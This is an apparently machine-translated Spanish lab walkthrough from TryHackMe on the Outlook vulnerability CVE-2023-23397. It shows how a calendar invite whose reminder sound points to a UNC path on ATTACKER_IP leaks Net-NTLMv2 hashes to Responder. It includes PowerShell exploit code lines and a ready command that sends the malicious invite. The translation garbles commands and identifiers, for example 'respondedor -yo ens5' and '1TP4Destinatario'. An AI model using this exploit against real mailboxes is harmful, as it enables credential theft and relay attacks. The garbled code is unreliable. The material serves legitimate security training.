Cubrimos la reciente vulnerabilidad NTLM de Microsoft Outlook CVE-2023-23397 que podría provocar una fuga de hash NTLM si tiene éxito. También cubrimos un escenario de demostración además de la mitigación y la detección. Esto fue parte de Fuga NTLM de Outlook de TryHackMe.

Obtener notas OSCP

El martes 14 de marzo, Microsoft lanzó 83 correcciones de seguridad el martes de parches, incluido CVE-2023-23397. Esta vulnerabilidad crítica afecta a todas las versiones de la aplicación de escritorio Outlook en cualquier sistema Windows. La aplicación web Outlook (OWA) y Microsoft 365 no son vulnerables ya que no son compatibles NTLM autenticación.

A diferencia de la mayoría de los exploits, este es particularmente peligroso porque es un exploit sin clic, lo que significa que no se requiere interacción del usuario para activarlo. Una vez que un correo electrónico infectado llega a la bandeja de entrada del usuario, el atacante puede obtener hashes de credenciales Net-NTLMv2 confidenciales. Una vez que los actores maliciosos tienen esos hashes, pueden obtener las credenciales de un usuario, autenticarse en su sistema y escalar privilegios.

Para aprovechar esta vulnerabilidad, un atacante debe crear una invitación de calendario maliciosa que incluya una referencia a un archivo de sonido que apunte a un archivo en un recurso compartido de red en la máquina del atacante. En un nivel bajo, un correo electrónico de Outlook almacena la referencia al archivo de sonido en un parámetro interno llamado Parámetro de archivo PidLidReminder. Para garantizar que el audio que incrustamos en nuestro correo electrónico malicioso tenga prioridad sobre las configuraciones de recordatorio predeterminadas de la víctima, también necesitaremos configurar otro parámetro llamado Anulación de recordatorio de tapa de Pid a verdadero.

Para configurar el Parámetro de archivo PidLidReminder propiedad para apuntar a un recurso compartido de red, el atacante puede especificar un Convención de nomenclatura universal (UNC) ruta en lugar de un archivo local. UNC se utiliza en los sistemas operativos Windows para buscar recursos de red (archivos, impresoras, documentos compartidos). Estas rutas constan de una doble barra invertida, la dirección IP o el nombre de la computadora que aloja el recurso, el nombre del recurso compartido y el nombre del archivo. Por ejemplo:

\\ATTACKER_IP\foo\bar.wav

Cuando la víctima recibe el correo electrónico malicioso, la ruta UNC la dirige a ese PYME compartir, lo que desencadena la vulnerabilidad. Esto hace que el sistema inicie un proceso de autenticación NTLM contra la máquina del atacante, filtrando un hash Net-NTLMv2 que el atacante puede intentar descifrar más tarde.

Si por alguna razón el PYME El protocolo no es una alternativa viable, las versiones de Windows que no son de servidor aceptarán el uso de rutas UNC que apunten a los puertos 80 o 443 y usarán HTTP para recuperar el archivo de un servidor web habilitado para WebDAV. La sintaxis de dicha ruta UNC es la siguiente:

\\ATTACKER_IP@80\foo\bar.wav

\\ATTACKER_IP@443\foo\bar.wav

Esto puede resultar útil para evitar las restricciones del firewall que impiden las conexiones salientes al puerto 445 (PYME).

Configurar el Respondedor

Dado que esperamos que la víctima active un intento de autenticación contra el atacante en el puerto 445, configuraremos Responder para que maneje el proceso de autenticación y capture el hash NetNTLM por nosotros. Si no está familiarizado con Responder, simplemente emulará un PYME servidor y capturar cualquier intento de autenticación en su contra.

Para iniciar Responder para escuchar los intentos de autenticación en su ens5 interfaz, simplemente puede ejecutar el siguiente comando en su AttackBox:

Caja de ataque
raíz@ataquebox$ respondedor -yo ens5

Ahora estamos listos para activar un intento de autenticación a través de la vulnerabilidad de Outlook.

Intentar crear una cita maliciosa

Como primer intento, podríamos crear manualmente una cita y editar la ruta al archivo de sonido del recordatorio para que apunte a una carpeta compartida. Para crear una cita, primero deberá hacer clic en el calendario y luego en el botón Nueva cita en la barra de tareas.

Crearemos una cita que incluya un recordatorio configurado en 0 minutos para que se active inmediatamente después de que la víctima lo reciba. También pulsaremos en la opción Sonido para configurar el archivo de sonido del recordatorio.

Podemos intentar configurar la ruta del archivo de sonido en una ruta UNC que apunte a nuestro AttackBox y hacer clic en el botón Aceptar.

Sin embargo, Outlook ignorará silenciosamente la ruta UNC y volverá a utilizar el archivo WAV predeterminado, lo que se puede confirmar volviendo al cuadro de diálogo Sonido.

Dado que Outlook no espera que los usuarios ingresen una ruta UNC aquí, probablemente descarta nuestro intento como resultado no válido. ¡Pero no todas las esperanzas están perdidas!

OutlookSpy al rescate

Incluso si Outlook no puede configurar el archivo de sonido del recordatorio en una ruta UNC, podemos usar el complemento OutlookSpy para lograrlo. Este complemento le permitirá acceder directamente a todos los parámetros internos de Outlook, incluido el archivo de sonido del recordatorio.

Puede encontrar el instalador de OutlookSpy en el escritorio de su máquina. Deberá instalarlo manualmente antes de continuar. Asegúrese de cerrar Outlook antes de ejecutar el instalador.

Para ver nuestra cita actual desde OutlookSpy, haga clic en el OutlookSpy pestaña y luego la Artículo actual botón en la barra de tareas:

Nota: Asegúrese de hacer clic en el botón CurrentItem desde la cita, o puede modificar diferentes componentes de Outlook.

Desde esta ventana podrás ver los parámetros asociados al recordatorio de la cita. Queremos establecer el RecordatorioSonidoArchivo parámetro a la ruta UNC que apunta a nuestro AttackBox y configurar tanto el Recordatorio Anular valor predeterminado y RecordatorioReproducirSonido a verdadero. Solo como referencia, esto es lo que hace cada parámetro:

  • RecordatorioReproducirSonido: Valor booleano que indica si se reproducirá un sonido con el recordatorio.
  • Recordatorio Anular valor predeterminado: valor booleano que indica que el cliente Outlook receptor reproducirá el sonido señalado por RecordatorioSonidoArchivo, en lugar del predeterminado.
  • RecordatorioSonidoArchivo: cadena con la ruta al archivo de sonido que se utilizará. Para nuestro exploit, esto apuntará a una carpeta compartida falsa en nuestro AttackBox.

Podemos usar la pestaña script y el siguiente script para cambiar los parámetros a los valores requeridos

Asegúrese de hacer clic en Correr para que se apliquen los cambios. Puedes volver al Propiedades para comprobar que los valores se cambiaron correctamente. Finalmente, guarde su cita para agregarla a su calendario, asegurándose de que el recordatorio esté configurado en 0 minutos y que la cita coincida con la hora y fecha actuales, ya que queremos que se active de inmediato.

Si todo salió como se esperaba, debería aparecer inmediatamente un recordatorio.

Y deberías recibir el intento de autenticación en tu consola Responder en tu AttackBox

Explotación

Resumiendo los pasos necesarios para explotar la vulnerabilidad, un atacante necesitaría:

  1. Cree una reunión/cita maliciosa con un sonido de recordatorio personalizado que apunte a una ruta UNC en la máquina del atacante.
  2. Envíe la invitación a la víctima por correo electrónico.
  3. Espere a que el recordatorio active una conexión contra la máquina del atacante.
  4. Capture el hash Net-NTLMv2, utilice la retransmisión de autenticación o obtenga ganancias de cualquier otra forma.

Los pasos 3 y 4 ya están cubiertos por Respondedor, pero elaborar la cita maliciosa a mano es un poco tedioso. Afortunadamente, disponemos de un par de exploits para crear y enviar una cita maliciosa.

En esta tarea, veremos el exploit publicado por Oddvar Moe, que es probablemente el más fácil de entender y utilizar. Este exploit de Powershell aprovecha los objetos COM de Outlook para crear correos electrónicos y citas fácilmente. Contiene un par de funciones que podemos utilizar:

  • Guardar calendarioNTLMLeak: Esta función crea una cita maliciosa y la guarda en su propio calendario. Útil para fines de prueba.
  • Enviar calendarioNTLMLeak: Esta función crea una cita maliciosa y la envía por correo electrónico a la víctima. La invitación por correo electrónico se enviará desde la cuenta predeterminada actual de Outlook.

Diseccionando el código del exploit

Ambos crearán una cita de manera similar, por lo que explicaremos el Guardar calendarioNTLMLeak solo.

Primero, crearemos una instancia de un objeto "Outlook.Application" y crearemos una cita.

Perspectiva $ = Nuevo objeto -comObject Outlook.Solicitud
$newcal = $perspectiva.Crear artículo('olCitaArtículo')

Se fijarán los parámetros habituales de una cita. Estos incluyen los destinatarios, el tema de la reunión, la ubicación, el cuerpo y las fechas de inicio y finalización. El exploit establece el día de inicio en la hora actual para que el recordatorio se active inmediatamente:

$newcal.Destinatarios.agregar(1TP4Destinatario)
$newcal.Estado de la reunión = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olReunión
$newcal.Asunto = $tema de reunión
$newcal.Ubicación = "Virtual"
$newcal.Cuerpo = $cuerpo de reunión
$newcal.Comenzar = obtener la fecha
$newcal.Fin = (obtener la fecha).Agregar Horas(2)

Se configurarán los siguientes parámetros adicionales para apuntar el archivo de sonido del recordatorio al servidor del atacante, como se explicó anteriormente:

$newcal.RecordatorioArchivoSonido = 1TP4Ruta de archivo remoto
$newcal.RecordatorioOverrideDefault = 1
$newcal.Conjunto de recordatorios = 1
$newcal.RecordatorioReproducirsonido = 1

Finalmente, la cita será enviada al destinatario vía correo electrónico:

$newcal.enviar()

Usando el exploit

Puede importar las funciones del exploit con el cmdlet Import-Module. Después de eso, ambas funciones estarán disponibles en su Powershell actual. Para enviar un correo electrónico con una cita maliciosa, simplemente puede ejecutar el siguiente comando:

Potencia Shell
PS C:\> cd C:\Users\Administrator\Desktop\ PS C:\Users\Administrator\Desktop\> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\Administrator\Desktop\> Enviar -CalendarNTLMLeak -recipient "test@thm.loc" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "THM Meeting" -meetingbody "Esta es solo una invitación a una reunión normal :)"

Asegúrese de reemplazar ATTACKER_IP con la dirección IP de su AttackBox en el -rutadelarchivoremoto parámetro. Tenga en cuenta que en este caso está utilizando el exploit para enviarse un correo electrónico a sí mismo, ya que tenemos una única cuenta en la máquina, pero normalmente apuntaría a otras direcciones de correo electrónico.

Dado que el exploit utiliza la instancia actual de Outlook para enviar el correo electrónico, es probable que reciba un par de alertas pidiéndole que otorgue permiso al script para enviar correos electrónicos en su nombre. Asegúrese de presionar Permitir tantas veces como sea necesario. Marcar la casilla "Permitir acceso durante 10 minutos" también debería ayudar a acelerar este proceso.

Tutorial en vídeo

Acerca del Autor

Creo notas de ciberseguridad, notas de marketing digital y cursos online. También brindo consultoría de marketing digital que incluye, entre otros, SEO, Google y meta anuncios y administración de CRM.

Ver Artículos